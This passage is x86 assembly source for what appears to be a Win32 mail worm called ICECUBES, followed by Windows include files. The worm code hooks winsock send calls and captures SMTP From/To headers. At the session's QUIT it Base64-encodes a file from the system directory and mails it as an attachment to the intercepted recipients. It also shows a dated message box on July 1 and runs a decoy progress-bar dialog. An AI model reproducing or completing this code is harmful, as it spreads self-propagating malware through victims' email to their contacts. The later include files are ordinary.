	loop MimeFromLoop

    CheckMimeTo:
	mov esi, [esp+(8*4)+(1*4)+4 + 4]	 	
	mov ecx, [esp+(8*4)+(1*4)+4 + 8]		

    MimeToLoop:
	lea edi, [ebp + totag]
	push ecx
	push esi
	mov ecx, 03h
	rep cmpsb
	pop esi
	pop ecx
	je SearchMimeToEnd
	inc esi
	loop MimeToLoop
	jmp CheckQuit

    SearchMimeFromEnd:
	push esi

    FromEndLoop:
	lea edi, [ebp + mimeendtag]
	push ecx
	push esi
	mov ecx, 01h
	rep cmpsb
	pop esi
	pop ecx
	je SaveMimeFrom
	inc esi
	loop FromEndLoop
	
	pop esi
	jmp Continue

    SaveMimeFrom:
	mov eax, esi
	pop esi
	sub eax, esi
	mov ecx, eax
	add ecx, 03h
	mov [ebp + mimefromsize], ecx
	push esi
	push ecx

	push ecx
	push 00h
	lea eax, [ebp + AGlobalAlloc]
	call GETAPI
	or eax, eax
	jz MimeError
	mov [ebp + mimefrom_address], eax

	pop ecx
	pop esi
	mov edi, eax
	rep movsb

	mov [ebp + fromstatus], 01h
	cmp [ebp + tostatus], 01h
	jne CheckMimeTo	
	mov [ebp + status], 05h
	jmp CheckQuit

    SearchMimeToEnd:
	push esi

    ToEndLoop:
	lea edi, [ebp + toendtag]
	push ecx
	push esi
	mov ecx, 08h
	rep cmpsb
	pop esi
	pop ecx
	je SaveMimeTo
	inc esi
	loop ToEndLoop

	pop esi
	jmp Continue

    SaveMimeTo:
	mov eax, esi
	pop esi
	sub eax, esi
	mov ecx, eax
	mov [ebp + mimetosize], ecx
	push esi
	push ecx

	push ecx
	push 00h
	lea eax, [ebp + AGlobalAlloc]
	call GETAPI
	or eax, eax
	jz MimeError
	mov [ebp + mimeto_address], eax

	pop ecx
	pop esi
	mov edi, eax
	rep movsb

	mov [ebp + tostatus], 01h
	cmp [ebp + fromstatus], 01h
	jne CheckMimeFrom		
	mov [ebp + status], 05h
	jmp CheckQuit

    MimeError:
	pop ecx
	pop esi
	mov [ebp + status], 05h

    CheckQuit:
	mov esi, [esp+(8*4)+(1*4)+4 + 4]	 	
	mov ecx, [esp+(8*4)+(1*4)+4 + 8]		
	cmp [esi], 'TIUQ'		
	jne Continue

	pushad
	call SEND_MAIL
	popad
	
	jmp InterceptionFinished

    ErrorWhileSending:
	pop esi
	pop ecx
    
    InterceptionFinished:
	mov [ebp + status], 00h
	mov [ebp + totalrcptsize], 00h
	mov [ebp + rcptnumber], 00h
	mov [ebp + tostatus], 00h
	mov [ebp + fromstatus], 00h
	jmp Continue

    Continue:	
	popad
	lea eax, [ebp + InterceptWsockApiCall]         	; get ep va
	sub eax, dword ptr [ebp + wnewapiaddress]  	; - ep RVA
	add eax, dword ptr [ebp + woldapiaddress]	; = imagebase
	pop ebp	
	jmp eax

INTERCEPT_WSOCK endp

;========================[ ic-ws_attachment.inc ]===========================;

PREPARE_ATTACHMENT proc

    SetSysDir:
	call SET_SYSDIR

    OpenSourceFile:
     	push 0
     	push 0
     	push 3
     	push 0
     	push 0
     	push 80000000h
     	lea eax, [ebp + wsock2]
     	push eax
	lea eax, [ebp + ACreateFile]
	call GETAPI
     	mov [ebp + filehandle], eax   			; save file handle
   	cmp eax, -1
	je NoBase64Encode
  
    GetSourceFileSize:
	push 00h
	push dword ptr [ebp + filehandle]
	lea eax, [ebp + AGetFileSize]
	call GETAPI

	or eax, eax
	jz NoBase64Encode
	mov [ebp + filesize], eax			; get file size
	
    AllocateSourceMemory:
	add eax, 02h
	push eax
	push 00h
	lea eax, [ebp + AGlobalAlloc]
	call GETAPI

	or eax, eax
     	jz NoBase64Encode          			; not enough memory?
     	mov [ebp + smHnd], eax				; sourcememory handle

    AllocateDestinationMemory:
   	mov eax, [ebp + filesize]
	xor edx, edx
	mov ecx, 02h
	mul ecx
	push eax
	push 00h
	lea eax, [ebp + AGlobalAlloc]
	call GETAPI
	
	or eax, eax
	jz NoBase64Encode          			; not enough memory?
	mov [ebp + dmHnd], eax				; destinationmemory handle

    ReadSourceFile:
     	mov [ebp + bytesread], 00h

	push 00h
     	lea eax, [ebp + bytesread]
     	push eax
     	push [ebp + filesize] 
     	push dword ptr [ebp + smHnd]
     	push dword ptr [ebp + filehandle]
	lea eax, [ebp + AReadFile]
	call GETAPI

     	mov eax, dword ptr [ebp + bytesread]
	or eax, eax
       	jz NoBase64Encode				; nothing read ?

    CloseSourceFile:
     	push dword ptr [ebp + filehandle]    			; close the file
	lea eax, [ebp + ACloseHandle]
	call GETAPI

    EncodeSourceData:
	mov eax, dword ptr [ebp + smHnd]
	mov edx, dword ptr [ebp + dmHnd]
	mov ecx, dword ptr [ebp + filesize]
	call BASE64_ENCODER            			; encode into Base64
	mov [ebp + encodedsize], ecx

    NoBase64Encode:
	ret

PREPARE_ATTACHMENT endp

;=========================[ ic-ws_b64encoder.inc ]==========================;

BASE64_ENCODER proc

    ; in:   eax address of data to encode
    ;       edx address to put encoded data
    ;       ecx size of data to encode
    ;
    ; out:  ecx size of encoded data
    ;

    CheckFileSize:
	push eax
	push edx
	push ecx
	mov eax, ecx
	xor edx, edx
	mov ecx, 03h
	div ecx
	pop ecx
	or edx, edx
	jz EncodeBase64

    AddTwoBytes:
	cmp edx, 01h
	jne AddOneByte
	add ecx, 02h
	jmp EncodeBase64

    AddOneByte:
	add ecx, 01h

    EncodeBase64:    
	pop edx
	pop eax
	xor esi, esi
	lea edi, [ebp + encTable]
	push ebp
	xor ebp, ebp  

    BaseLoop:
	xor ebx, ebx
	mov bl, byte ptr [eax]
	shr bl, 2
	and bl, 00111111b
	mov bh, byte ptr [edi+ebx]
	mov byte ptr [edx+esi], bh
	inc esi

	mov bx, word ptr [eax]
	xchg bl, bh
	shr bx, 4
	xor bh, bh
 	and bl, 00111111b
 	mov bh, byte ptr [edi+ebx]
	mov byte ptr [edx+esi], bh
 	inc esi

	inc eax
	mov bx,word ptr [eax]
	xchg bl, bh
 	shr bx, 6
	xor bh, bh
 	and bl, 00111111b
 	mov bh, byte ptr [edi+ebx]
 	mov byte ptr [edx+esi], bh
  	inc esi

	inc eax
 	xor ebx, ebx
 	mov bl, byte ptr [eax]
 	and bl, 00111111b
 	mov bh, byte ptr [edi+ebx]
 	mov byte ptr [edx+esi], bh
 	inc esi
 	inc eax

	inc ebp
 	cmp ebp, 24
 	ja AddEndOfLine
 	inc ebp

    AddedEndOfLine:
	sub ecx, 3
	or ecx, ecx
	jnz BaseLoop

	mov word ptr [edx+esi], 0a0dh
 	add esi, 2	
 	mov ecx, esi
	pop ebp
	ret

    AddEndOfLine:
	xor ebp, ebp
 	mov word ptr [edx+esi], 0a0dh
 	add esi, 2
 	jmp AddedEndOfLine

BASE64_ENCODER endp

;=======================[ ic-ws_write_to_file.inc ]=========================;

WRITE_TO_FILE proc

    StoreBuffer:
	push esi
	push ecx

    SetEmailDropDir:
	call SET_WINDIR

    CreateEmailDrop:
	push 0						; template handle=0
	push 20h					; attributes=any file
	push 04h					; type= existing file
	push 0						; security option = 0
	push 1						; shared for read
	push 80000000h or 40000000h			; generic read write
	lea eax, [ebp + passwordfile]
	push eax					; offset file name
	lea eax, [ebp + ACreateFile]
	call GETAPI	
	mov [ebp + filehandle], eax			; save file handle
	cmp eax, -1
	je BufferError

    SetDropPointer:
	push 2
	push 0
	push 0
	push dword ptr [ebp + filehandle]		; filehandle
	lea eax, [ebp + ASetFilePointer]
	call GETAPI

	pop ecx
	pop esi

    WriteBuffer:
	push 0h
	lea eax, [ebp + writtenbytes]
	push eax
	push ecx					; push buffersize
	push esi					; push offset buffer
	push dword ptr [ebp + filehandle]
	lea eax, [ebp + AWriteFile]
	call GETAPI

    CloseBufferFile:
        push dword ptr [ebp + filehandle]
	lea eax, [ebp + ACloseHandle]
	call GETAPI
	ret

    BufferError:
	pop ecx
	pop esi
	ret

WRITE_TO_FILE endp

;============================[ ic-send_mail.inc ]============================;

SEND_MAIL proc

    GetAllApiAddresses:
	call GET_WSOCK32_BASE_ADDRESS
 	call GET_USER32_BASE_ADDRESS
	call PREPARE_ATTACHMENT

     	mov eax, [ebp + filehandle]
	cmp eax, -1					; attachment error
	je SendError

    AllocateEmailBufferMemory:
	mov eax, [ebp + encodedsize]
	mov ecx, 02h
	mul ecx
	push eax
	push 00h
	lea eax, [ebp + AGlobalAlloc]
	call GETAPI

	or eax, eax
	jz SendError					; mem for email
	mov [ebp + email_buffer_address], eax		; buffer

    SendMailFromTag:
	mov eax, dword ptr [ebp + fromaddress]
	mov ecx, dword ptr [ebp + fromsize]
	call SendCommand
	call ReceiveReply

    SendRcptToTags:
	xor ecx, ecx
	mov [ebp + totalrcptsize], 00h
		
    RcptSendLoop:
	push ecx
	
	mov edi, [ebp + rcpt_size_address]
	mov eax, ecx
	mov edx, 04h
	mul edx
	add edi, eax
	mov ecx, dword ptr [edi]

	mov esi, [ebp + rcpt_buffer_address]
	mov eax, [ebp + totalrcptsize]
	add esi, eax
	
	pushad
	mov eax, esi
	call SendCommand
	call ReceiveReply
	popad

	add eax, ecx
	mov [ebp + totalrcptsize], eax
	
	pop ecx
	inc ecx
	mov eax, [ebp + rcptnumber]
	cmp ecx, eax
	jne RcptSendLoop

    SendDataCommand:
	lea eax, [ebp + datatag]
	mov ecx, 06h
	call SendCommand
	call ReceiveReply

    EmailBody_EmailId:
	mov [ebp + email_size], 00h
	mov edi, [ebp + email_buffer_address]
	lea esi, [ebp + emailid]
	mov ecx, 21d
	add [ebp + email_size], ecx
	rep movsb

    EmailBody_EmailFrom:
	cmp [ebp + fromstatus], 01h
	jne EmailBody_MakeEmailFrom

	mov esi, [ebp + mimefrom_address]
	mov ecx, [ebp + mimefromsize]
	add [ebp + email_size], ecx
	rep movsb
	jmp EmailBody_EmailTo

    EmailBody_MakeEmailFrom:
	lea esi, [ebp + fromtag]
	mov ecx, 05h
	add [ebp + email_size], ecx
	rep movsb

	mov esi, dword ptr [ebp + fromaddress] 
	add esi, 11d
	mov ecx, dword ptr [ebp + fromsize]
	sub ecx, 11d
	add [ebp + email_size], ecx
	rep movsb

    EmailBody_EmailTo:
	cmp [ebp + tostatus], 01h
	jne EmailBody_MakeEmailTo

	mov esi, [ebp + mimeto_address]
	mov ecx, [ebp + mimetosize]
	add [ebp + email_size], ecx
	rep movsb
	jmp EmailBody_EmailStartPart

    EmailBody_MakeEmailTo:
	lea esi, [ebp + totag]
	mov ecx, 03h
	add [ebp + email_size], ecx
	rep movsb		

	xor ecx, ecx
	mov [ebp + totalrcptsize], 00h
		
    RcptStringLoop:
	push ecx
	
	push edi
	mov edi, [ebp + rcpt_size_address]
	mov eax, ecx
	mov edx, 04h
	mul edx
	add edi, eax
	mov ecx, dword ptr [edi]
	pop edi

	push ecx
	mov esi, [ebp + rcpt_buffer_address]
	mov eax, [ebp + totalrcptsize]
	add esi, eax
	add esi, 08h
	sub ecx, 08h
	add [ebp + email_size], ecx
	rep movsb

	pop ecx
	add eax, ecx
	mov [ebp + totalrcptsize], eax
	
	pop ecx
	inc ecx
	mov eax, [ebp + rcptnumber]
	cmp ecx, eax
	jne RcptStringLoop

    EmailBody_EmailStartPart:
	lea esi, [ebp + emailstart]
	mov ecx, emailend-emailstart
	add [ebp + email_size], ecx
	rep movsb

    EmailBody_EmailAttachement:
	mov esi, dword ptr [ebp + dmHnd]
	mov ecx, [ebp + encodedsize]
	add [ebp + email_size], ecx
	rep movsb	

    EmailBody_EmailEndPart:
	lea esi, [ebp + emailtail]
	mov ecx, 17d
	add [ebp + email_size], ecx
	rep movsb	

    EmailBody_EndTag:
	lea esi, [ebp + endtag]
	mov ecx, 05h
	add [ebp + email_size], ecx
	rep movsb

    SendEmailBody:
	mov eax, [ebp + email_buffer_address]
	mov ecx, [ebp + email_size]
	call SendCommand
	call ReceiveReply

    MessageBoxDay:
	lea eax, [ebp + timedate]
	push eax
	lea eax, [ebp + AGetSystemTime]
	call GETAPI
	
	xor eax, eax
	mov ax, word ptr [ebp + timedate.wMonth]
	cmp ax, 07h
	jne SendError
	mov ax, word ptr [ebp + timedate.wDay]
	cmp ax, 01h
	jne SendError

    MessageBoxPayload:
	mov eax, 0040h
	push eax                          	
    	lea eax, [ebp + windowtitle]	
	push eax
	lea eax, [ebp + msgmessage]
	push eax
    	push 00h
	lea eax, [ebp + AMessageBox]
	call GETUAPI    
	
    SendError:
	ret

;-----------------------------[ send routine ]------------------------------;

    SendCommand:
	push eax

	push 0h
	push ecx
	push eax
	push dword ptr [ebp + socketh]
	lea eax, [ebp + ASend]
	call GETWAPI
		
	cmp eax, -1
	jne SendWentOk

	pop eax
	jmp SendCommand

     SendWentOk:
	pop eax
	ret

;--------------------------[ receive routine ]------------------------------;

     ReceiveReply:
	push LARGE 0
	push LARGE 60
	lea eax, [ebp + recvbuffer]
	push eax
	push dword ptr [ebp + socketh]
	lea eax, [ebp + ARecv]
	call GETWAPI					; call the api

	cmp eax, -1
	je ReceiveReply
	ret
	
SEND_MAIL endp

;****************************************************************************;

    Leap:

.code
 
    OriginalHost:
	push 0
	call GetModuleHandleA 				
	mov hInst, eax     				

    CreateProgressWindow:
	push 00h	  				
	push offset MYDIALOG_0				
	push 00h          				
	push 102	  				
	push hInst         				
	call DialogBoxParamA  				

    CreateMainWindow:
	push 00h	  				
	push offset MYDIALOG_1				
	push 00h          				
	push 103	  				
	push hInst         				
	call DialogBoxParamA  				

    Leave:
	push 0
	call ExitProcess

;============================[ ic-host_code.inc ]============================;

MYDIALOG_0 proc handle, umsg, wparam, lparam: dword

    CheckParameter:
	cmp [umsg], WM_INITDIALOG
	je CenterDlg
	cmp [umsg], WM_DESTROY
	je Exit
	cmp [umsg], WM_CLOSE
	je Exit 
	cmp flag, 01h
	je CreateProgressThread
	cmp flag, 02h
	je Exit
	xor eax, eax
	ret

    CenterDlg:
	push offset dlgrect
	push handle
    	call GetWindowRect
	call GetDesktopWindow
	push offset desktoprect
	push eax
    	call GetWindowRect

    	push 00h
    	mov eax, dlgrect.rcBottom
    	sub eax, dlgrect.rcTop
    	mov dlgheight, eax
    	push eax						; height
    	mov eax, dlgrect.rcRight
    	sub eax, dlgrect.rcLeft
    	mov dlgwidth, eax					; width
    	push eax
    	mov eax, desktoprect.rcBottom		
    	sub eax, dlgheight
    	shr eax, 1
    	push eax						; bottom
    	mov eax, desktoprect.rcRight
    	sub eax, dlgwidth
    	shr eax, 1
    	push eax						; top
    	push handle						; handle
    	call MoveWindow						; move to center
	mov flag, 01h
	xor eax, eax
	ret

    CreateProgressThread:
	push offset threadid
	push 00h
	push handle
	push offset PROGRESS
	push 00h
	push 00h
	call CreateThread
	mov flag, 00h
	xor eax, eax
	ret

    Exit:
	push wparam
	push handle
	call EndDialog
	mov eax, 01h
	ret

MYDIALOG_0 endp

MYDIALOG_1 proc handle, umsg, wparam, lparam: dword

    CheckParameter1:
	cmp [umsg], WM_INITDIALOG
	je CenterDlg1
	cmp [umsg], WM_DESTROY
	je Exit1
	cmp [umsg], WM_CLOSE
	je Exit1
	cmp [umsg], WM_COMMAND
	je CheckCommand
	cmp [umsg], WM_VSCROLL
	je SpinButtonClick
	cmp initflag, 01h
	je InitValues 
	xor eax, eax
	ret    

    CheckCommand:
	cmp [wparam], 1009
	je Exit
	cmp [wparam], 1014
	je SetOkFlag
	xor eax, eax
	ret

    SpinButtonClick:
	xor eax, eax
	mov ecx, [wparam]
	rol ecx, 16
	mov ax, cx

	mov ecx, pastvalue
	cmp ecx, eax
	jge PressedUp

    PressedDown:
	mov pastvalue, eax
	cmp doneflag, 00h
	jne Reset
	cmp currentvalue, '0'
	je DontDecrease
	dec byte ptr currentvalue

    DontDecrease:
	push offset currentvalue
	push 00h
	push WM_SETTEXT
	push 1003
	push handle
	call SendDlgItemMessageA
	mov doneflag, 01h
	xor eax, eax
	ret

    PressedUp:
	mov pastvalue, eax
	cmp currentvalue, '9'
	je Reset
	cmp doneflag, 00h
	jne Reset
	inc byte ptr currentvalue
	push offset currentvalue
	push 00h
	push WM_SETTEXT
	push 1003
	push handle
	call SendDlgItemMessageA
	mov doneflag, 01h
	xor eax, eax
	ret

    Reset:
	mov doneflag, 00h
	xor eax, eax
	ret

    SetOkFlag:
	mov okflag, 01h
	jmp Exit

    CenterDlg1:
	push offset dlgrect
	push handle
    	call GetWindowRect
	call GetDesktopWindow
	push offset desktoprect
	push eax
    	call GetWindowRect

    	push 00h
    	mov eax, dlgrect.rcBottom
    	sub eax, dlgrect.rcTop
    	mov dlgheight, eax
    	push eax				; height
    	mov eax, dlgrect.rcRight
    	sub eax, dlgrect.rcLeft
    	mov dlgwidth, eax			; width
    	push eax
    	mov eax, desktoprect.rcBottom		
    	sub eax, dlgheight
    	shr eax, 1
    	push eax				; bottom
    	mov eax, desktoprect.rcRight
    	sub eax, dlgwidth
    	shr eax, 1
    	push eax				; top
    	push handle				; handle
    	call MoveWindow				; move to center
	mov initflag, 01h
    	xor eax, eax
    	ret
  
    InitValues:
	mov initflag, 00h
	call SendDlgItemMessageA, handle, 1004, CB_RESETCONTENT, 00h,00h
	call SendDlgItemMessageA, handle, 1004, 143h, 00h, offset value11
	call SendDlgItemMessageA, handle, 1004, 143h, 00h, offset value12
	call SendDlgItemMessageA, handle, 1004, 143h, 00h, offset value13
	call SendDlgItemMessageA, handle, 1004, 143h, 00h, offset value14
	call SendDlgItemMessageA, handle, 1004, CB_SETCURSEL, 00h, 01h
	call SendDlgItemMessageA, handle, 1003, WM_SETTEXT, 00h, offset currentvalue
	call SendDlgItemMessageA, handle, 1005, WM_SETTEXT, 00h, offset value3
	call SendDlgItemMessageA, handle, 1008, WM_SETTEXT, 00h, offset value4
	call SendDlgItemMessageA, handle, 1000, 00F5h, 00h,00h
	call SendDlgItemMessageA, handle, 1001, 00F5h, 00h,00h
	call SendDlgItemMessageA, handle, 1006, 00F5h, 00h,00h
	call SendDlgItemMessageA, handle, 1010, 00F5h, 00h,00h
	call SendDlgItemMessageA, handle, 1013, 00F5h, 00h,00h
	xor eax, eax
	ret

    Exit1:
	push wparam       
	push handle       
	call EndDialog      
	mov eax, 01h
	ret

MYDIALOG_1 endp

PROGRESS proc handle: dword

    ClearProgressBar:
	push 00h
	push 00h
	push PBM_SETPOS
	push 105
	push handle
    	call SendDlgItemMessageA
	xor eax, eax
	xor ecx, ecx

    LittleLoop:
	inc ecx
	cmp ecx, 100000h
	jne LittleLoop	

    ProgressLoop:
	inc eax
	push 00h
	push eax
	push PBM_SETPOS
	push 105
	push handle
	call SendDlgItemMessageA
	xor ecx, ecx
	cmp eax, 99d
	jne LittleLoop

    ProgressDone:
	mov flag, 02h
	push threadid
	call CloseHandle
	ret

PROGRESS endp

;============================================================================;

end Start
end
ĄĄĄĄĄĄĄĄĄĄĄĄĄĄĄĄĄĄĄĄĄĄĄĄĄĄĄĄĄĄěICECUBES.ASM]ĄĊĄĄĄĄĄĄĄĄĄĄĄĄĄĄĄĄĄĄĄĄĄĄĄĄĄĄĄĄĄĄĄĄ[MYINC.INC]ĄĊLPVOID				typedef	DWORD		;long ptr to buffer
BOOL				typedef DWORD		;boolean variable
HANDLE				typedef DWORD		;unspecified handle
LPSTR				typedef DWORD		;long ptr to string
LPBYTE				typedef DWORD		;long ptr to byte
ACHAR				typedef	BYTE		;ansi character
CHAR				textequ	<ACHAR>		;ansi char type
CHAR_				equ	1		;ansi char size

CREATE_DEFAULT_ERROR_MODE	equ	04000000h

SECURITY_ATTRIBUTES_	equ	  4+4+4
SECURITY_ATTRIBUTES	struct
sa_nLength		DWORD	  SECURITY_ATTRIBUTES_ ;structure size
sa_lpSecurityDescriptor	LPVOID	  0		;security descriptor
sa_bInheritHandle	BOOL	  0		;handle inheritance flag
SECURITY_ATTRIBUTES	ends

PROCESS_INFORMATION	struct
pi_hProcess		HANDLE	  0		;process handle
pi_hThread		HANDLE	  0		;thread handle
pi_dwProcessId		DWORD	  0		;process id
pi_dwThreadId		DWORD	  0		;thread id
PROCESS_INFORMATION	ends
PROCESS_INFORMATION_	equ	  4+4+4+4

STARTUPINFO		struct
si_cb			DWORD	  0		;structure size
si_lpReserved		LPSTR	  0		;(reserved)
si_lpDesktop		LPSTR	  0		;desktop name
sl_lpTitle		LPSTR	  0		;console window title
si_dwX			DWORD	  0		;window origin (column)
si_dwY			DWORD	  0		;window origin (row)
si_dwXSize		DWORD	  0		;window width
si_dwYSize		DWORD	  0		;window height
si_dwXCountChars	DWORD	  0		;screen buffer width
si_dwYCountChars	DWORD	  0		;screen buffer height
si_dwFillAttribute	DWORD	  0		;console window initialization
si_dwFlags		DWORD	  0		;structure member flags
si_wShowWindow		WORD	  0		;ShowWindow() parameter
si_cbReserved2		WORD	  0		;(reserved)
si_lpReserved2		LPBYTE	  0		;(reserved)
si_hStdInput		HANDLE	  0		;standard input handle
si_hStdOutput		HANDLE	  0		;standard output handle
si_hStdError		HANDLE	  0		;standard error handle
STARTUPINFO		ends
STARTUPINFO_		equ	  4+4+4+4+4+4+4+4+4+4+4+4+2+2+4+4+4+4

SYSTEMTIME		struct
wYear		WORD	  0		;current year
wMonth		WORD	  0		;current month (1..12)
wDayOfWeek		WORD	  0		;day of week (0 = sunday)
wDay			WORD	  0		;current day of the month
wHour		WORD	  0		;current hour
wMinute		WORD	  0		;current minute
wSecond		WORD	  0		;current second
wMilliseconds	WORD	  0		;current millisecond
SYSTEMTIME		ends
SYSTEMTIME_		equ	  2+2+2+2+2+2+2+2
;

WIN32_FIND_DATA_	equ	  4+8+8+8+4+4+4+4+(260*CHAR_)+(14*CHAR_)
WIN32_FIND_DATA		struct
fd_dwFileAttributes	DWORD	  0		;file attributes
fd_ftCreationTime	DWORD	  0, 0		;time of file creation
fd_ftLastAccessTime	DWORD	  0, 0		;time of last file access
fd_ftLastWriteTime	DWORD	  0, 0		;time of last write access
fd_nFileSizeHigh	DWORD	  0		;high-order word of file size
fd_nFileSizeLow		DWORD	  0		;low-order word of file size
fd_dwReserved0		DWORD	  0		;(reserved)
fd_dwReserved1		DWORD	  0		;(reserved)
fd_cFileName		CHAR	  260 dup(0)    ;matching file name
fd_cAlternateFileName	CHAR	  14 dup(0)	;8.3 alias name
WIN32_FIND_DATA		ends
;
ĄĄĄĄĄĄĄĄĄĄĄĄĄĄĄĄĄĄĄĄĄĄĄĄĄĄĄĄĄĄĄĄ[MYINC.INC]ĄĊĄĄĄĄĄĄĄĄĄĄĄĄĄĄĄĄĄĄĄĄĄĄĄĄĄĄĄĄĄĄĄ[WINDOWS.INC]ĄĊ;*************************************************************************
;
;       WINDOWS.INC - Windows assembly language structures & constants
;
;*************************************************************************
;
;
;       C/C++ Run Time Library - Version 7.0
; 
;       Copyright (c) 1985, 1996 by Borland International
;       All Rights Reserved.
; 
;
; Conditional Block includes:   (True states)
;     NOTEXT - don't include TextMetric struc & text drawing modes & stock objs.
;     NORASTOPS - don't include binary and ternary raster ops.
;     NOVK      - don't include virtual key definitions
;     NOMB      - don't include message box definitions
;     NOWM      - don't include window messages
;
;
FALSE   =       0
TRUE    =       1
NULL    =       0


;*******************************************************************
;
;       Misc EQU's
;
;*******************************************************************

SB_SETTEXTA			equ	WM_USER+01
SB_GETTEXTA			equ	WM_USER+02
SB_GETTEXTLENGTHA		equ	WM_USER+03
SB_SETPARTS			equ	WM_USER+04
SB_GETPARTS			equ	WM_USER+06
SB_GETBORDERS			equ	WM_USER+07
SB_SETMINHEIGHT			equ	WM_USER+08
SB_SIMPLE			equ	WM_USER+09
SB_GETRECT			equ	WM_USER+10
SB_SETTEXTW			equ	WM_USER+11
SB_GETTEXTLENGTHW		equ	WM_USER+12
SB_GETTEXTW			equ	WM_USER+13

GCL_MENUNAME                         equ -8
GCL_HBRBACKGROUND                    equ -10
GCL_HCURSOR                          equ -12
GCL_HICON                            equ -14
GCL_HMODULE                          equ -16
GCL_CBWNDEXTRA                       equ -18
GCL_CBCLSEXTRA                       equ -20
GCL_WNDPROC                          equ -24
GCL_STYLE                            equ -26

PBM_SETRANGE    equ WM_USER+1
PBM_SETPOS      equ WM_USER+2
PBM_DELTAPOS    equ WM_USER+3
PBM_SETSTEP     equ WM_USER+4
PBM_STEPIT      equ WM_USER+5

ICON_SMALL		 equ 0
DEFAULT_PITCH   	 equ 0
DEFAULT_QUALITY		 equ 0
OEM_CHARSET      	 equ 255
CLIP_CHARACTER_PRECIS    equ 1
CLIP_DEFAULT_PRECIS      equ 0
OUT_DEFAULT_PRECIS       equ 0

;*******************************************************************
;
;       Window Class
;
;*******************************************************************

DLGWINDOWEXTRA                       equ 30

WNDCLASSEX STRUCT
  wc_cbSize  DWORD      ?
  wc_style  DWORD      ?
  wc_lpfnWndProc  DWORD      ?
  wc_cbClsExtra  DWORD      ?
  wc_cbWndExtra  DWORD      ?
  wc_hInstance  DWORD      ?
  wc_hIcon  DWORD      ?
  wc_hCursor  DWORD      ?
  wc_hbrBackground  DWORD      ?
  wc_lpszMenuName  DWORD      ?
  wc_lpszClassName  DWORD      ?
  wc_hIconSm  DWORD      ?
WNDCLASSEX ENDS

;*******************************************************************
;
;       Message Structure
;
;*******************************************************************

MSG STRUCT
  msg_hwnd  DWORD      ?
  msg_message  DWORD      ?
  msg_wParam  DWORD      ?
  msg_lParam  DWORD      ?
  msg_time  DWORD      ?
  msg_pt  QWORD      ?
MSG ENDS

;*******************************************************************
;
;       Open Filename Dialog
;
;*******************************************************************

OPENFILENAME STRUCT
  of_lStructSize        DWORD      ?
  of_hWndOwner          DWORD      ?
  of_hInstance          DWORD      ?
  of_lpstrFilter        DWORD      ?
  of_lpstrCustomFilter  DWORD      ?
  of_nMaxCustFilter     DWORD      ?
  of_nFilterIndex       DWORD      ?
  of_lpstrFile          DWORD      ?
  of_nMaxFile           DWORD      ?
  of_lpstrFileTitle     DWORD      ?
  of_nMaxFileTitle      DWORD      ?
  of_lpstrInitialDir    DWORD      ?
  of_lpstrTitle         DWORD      ?
  of_Flags              DWORD      ?
  of_nFileOffset         WORD      ?
  of_nFileExtension      WORD      ?
  of_lpstrDefExt        DWORD      ?
  of_lCustData          DWORD      ?
  of_lpfnHook           DWORD      ?
  of_lpTemplateName     DWORD      ?
OPENFILENAME ENDS

OFN_ALLOWMULTISELECT    equ 00000200h
OFN_CREATEPROMPT        equ 00002000h
OFN_ENABLEHOOK          equ 00000020h
OFN_ENABLETEMPLATE      equ 00000040h
OFN_ENABLETEMPLATEHANDLE                equ 00000080h
OFN_EXPLORER            equ 00080000h
OFN_EXTENSIONDIFFERENT  equ 00000400h
OFN_FILEMUSTEXIST       equ 00001000h
OFN_HIDEREADONLY        equ 00000004h
OFN_LONGNAMES           equ 00200000h
OFN_NOCHANGEDIR         equ 00000008h
OFN_NODEREFERENCELINKS  equ 00100000h
OFN_NOLONGNAMES         equ 00040000h
OFN_NONETWORKBUTTON     equ 00020000h
OFN_NOREADONLYRETURN    equ 00008000h
OFN_NOTESTFILECREATE    equ 00010000h
OFN_NOVALIDATE          equ 00000100h
OFN_OVERWRITEPROMPT     equ 00000002h
OFN_PATHMUSTEXIST       equ 00000800h
OFN_READONLY            equ 00000001h
OFN_SHAREAWARE          equ 00004000h
OFN_SHOWHELP            equ 00000010h
OFN_SHAREFALLTHROUGH    equ 2
OFN_SHARENOWARN         equ 1
OFN_SHAREWARN           equ 0


;*******************************************************************
;
;       List View Control
;
;*******************************************************************

LVM_GETITEM     equ LVM_FIRST + 5
LVM_GETITEMW    equ LVM_FIRST + 75
LVM_SETITEM     equ LVM_FIRST + 6
LVM_SETITEMW    equ LVM_FIRST + 76
LVM_INSERTITEM  equ LVM_FIRST + 7
LVM_INSERTITEMW equ LVM_FIRST + 77
LVM_DELETEITEM  equ LVM_FIRST + 8
LVM_DELETEALLITEMS              equ LVM_FIRST + 9
LVM_GETCALLBACKMASK             equ LVM_FIRST + 10
LVM_FIRST        equ 1000h
LVM_SETCALLBACKMASK             equ LVM_FIRST + 11
LVM_GETITEMRECT equ LVM_FIRST + 14
LVM_SETITEMPOSITION             equ LVM_FIRST + 15
LVM_GETITEMPOSITION             equ LVM_FIRST + 16
LVM_GETSTRINGWIDTH              equ LVM_FIRST + 17
LVM_GETSTRINGWIDTHW             equ LVM_FIRST + 87
LVCF_FMT        equ 0001h
LVCF_WIDTH      equ 0002h
LVCF_TEXT       equ 0004h
LVCF_SUBITEM    equ 0008h
LVCFMT_LEFT     equ 0000h
LVCFMT_RIGHT    equ 0001h
LVCFMT_CENTER   equ 0002h
LVCFMT_JUSTIFYMASK              equ 0003h
LVM_GETCOLUMN   equ LVM_FIRST + 25
LVM_GETCOLUMNW  equ LVM_FIRST + 95
LVM_SETCOLUMN   equ LVM_FIRST + 26
LVM_SETCOLUMNW  equ LVM_FIRST + 96
LVM_INSERTCOLUMN                equ LVM_FIRST + 27
LVM_INSERTCOLUMNW               equ LVM_FIRST + 97
LVM_DELETECOLUMN                equ LVM_FIRST + 28
LVM_GETCOLUMNWIDTH              equ LVM_FIRST + 29
LVIF_TEXT       equ 0001h
LVIF_IMAGE      equ 0002h
LVIF_PARAM      equ 0004h
LVIF_STATE      equ 0008h



LV_ITEM STRUC
  lvi_imask  DWORD      ?
  lvi_iItem  DWORD      ?
  lvi_iSubItem  DWORD      ?
  lvi_state  DWORD      ?
  lvi_stateMask  DWORD      ?
  lvi_pszText  DWORD      ?
  lvi_cchTextMax  DWORD      ?
  lvi_iImage  DWORD      ?
  lvi_lParam  DWORD      ?
  lvi_iIndent DWORD        ?
LV_ITEM ENDS

LV_FINDINFO STRUC
  lvfi_flags  DWORD      ?
  lvfi_psz  DWORD      ?
  lvfi_lParam  DWORD      ?
  lvfi_pt  QWORD      ?
  lvfi_vkDirection  DWORD      ?
LV_FINDINFO ENDS

LV_HITTESTINFO STRUC
  lvht_pt  QWORD      ?
